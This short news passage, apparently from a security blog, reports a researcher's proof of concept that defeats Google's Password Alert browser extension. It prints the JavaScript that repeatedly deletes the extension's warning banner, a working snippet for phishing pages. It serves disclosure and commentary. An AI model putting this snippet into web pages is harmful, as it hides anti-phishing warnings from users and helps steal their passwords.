This week Google released a browser extension designed to warn users when they enter their Google password on any page that is not controlled by Google, and this piece of security theater has already been subverted. Researcher Paul Moore has already created of Proof of Concept (Not a Google Login Page) which subverts the browser extension using a few lines of Javascript. The snippet of Javascript in question is below:
<!-- BYPASS GOOGLE'S PASSWORD ALERT "PROTECTION" -->
<script type="text/javascript">
setInterval(function() {
if(document.getElementById("warning_banner")) {
document.getElementById("warning_banner").remove();
}
}, 5);